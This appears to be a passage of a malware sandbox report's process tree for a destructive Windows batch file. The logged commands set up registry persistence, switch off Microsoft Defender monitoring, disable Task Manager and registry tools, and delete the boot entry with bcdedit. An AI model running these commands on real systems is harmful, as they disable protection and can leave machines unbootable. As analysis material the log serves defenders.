        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:4740
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        7⤵
        
        PID:984
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        7⤵
        
        PID:616
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        7⤵
        Disables one or more Microsoft Defender components
        
        PID:4500
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        7⤵
        
        PID:2132
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableScriptScanning $true"
        7⤵
        
        PID:1272
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:3960
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:5000
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:3988
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:4488
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" kill_loop
        7⤵
        
        PID:6340
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:2212
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:9832
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:9772
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:9032
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:8992
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:6800
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:6480
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:3940
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:5760
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" wipe
        7⤵
        
        PID:6360
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:8832
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:9476
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:4252
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3836
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:9268
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:7424
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:1648
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:8
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:10924
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" fill
        7⤵
        
        PID:6388
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:2464
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:7904
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:6536
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:8952
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:5772
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:8792
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:8932
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:6704
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:10704
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" spam
        7⤵
        
        PID:6416
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:6132
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:10100
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:2212
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:7512
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:9868
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:1724
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:4056
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:6168
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:10956
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" deskdump
        7⤵
        
        PID:6696
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:8228
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:1612
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7260
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9680
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:3388
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:5652
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:2860
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:9012
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:2600
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:6392
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:6828
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:8548
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:10296
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockshutdown
        7⤵
        
        PID:6732
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:4348
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:9104
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:9320
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5516
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        Executes a command shell one-liner
        
        PID:2424
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:8076
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:6956
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:1980
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockinput
        7⤵
        
        PID:6740
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:3684
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:9920
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:9328
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:10056
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:9516
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:5296
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:7012
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:6800
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v PendingFileRenameOperations /t REG_MULTI_SZ /d "\??\C:\Windows\explorer.exe\0\0" /f
        7⤵
        
        PID:6836
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:7808
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:7012
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /delete {current} /f
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:5604
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        7⤵
        Delays execution with timeout.exe
        
        PID:8300
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq cmd.exe" /FO CSV
        7⤵
        Discovers running processes
        
        PID:9260
        
        C:\Windows\system32\find.exe
        
        find /c /v ""
        7⤵
        
        PID:3948
  - - C:\Windows\system32\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" deskdump
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5756
    - - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        5⤵
        
        PID:1840
    - - C:\Windows\system32\net.exe
        
        net session
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:432
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        6⤵
        
        PID:1976
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        5⤵
        Enumerates connected drives
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4312
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        6⤵
        
        PID:5284
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:4272
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:5836
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:1828
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        7⤵
        
        PID:5456
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:968
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:2808
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:2296
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        7⤵
        
        PID:3488
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        7⤵
        
        PID:4424
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        7⤵
        
        PID:5808
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        7⤵
        
        PID:2852
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableScriptScanning $true"
        7⤵
        
        PID:4452
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:5680
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:2296
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:4152
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:6140
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" kill_loop
        7⤵
        
        PID:3652
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:6492
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:7536
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7752
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:2572
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:7004
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:8480
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:1208
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:5412
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        
        PID:9332
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:9556
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:6864
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:6812
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:6820
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" wipe
        7⤵
        
        PID:380
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:6788
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:6204
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7068
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:7220
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:9460
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:9324
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:8672
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:5924
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        
        PID:9500
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:8216
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:3256
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:9136
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:9816
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" fill
        7⤵
        
        PID:1992
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:7252
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:7784
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7124
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:8488
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:10212
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:9384
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:5132
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:7452
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:5536
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:8288
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:4620
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:6152
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:3724
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" spam
        7⤵
        Executes a command shell one-liner
        
        PID:840
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:4068
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:7532
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:3816
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:8884
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:8304
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:1248
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:1828
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:6800
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:8908
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:3508
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:8480
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:5328
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:7372
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" deskdump
        7⤵
        
        PID:4828
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:7312
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:6620
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:8144
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1892
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:8512
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:9840
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:4108
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:4540
        
        C:\Windows\system32\attrib.exe
        
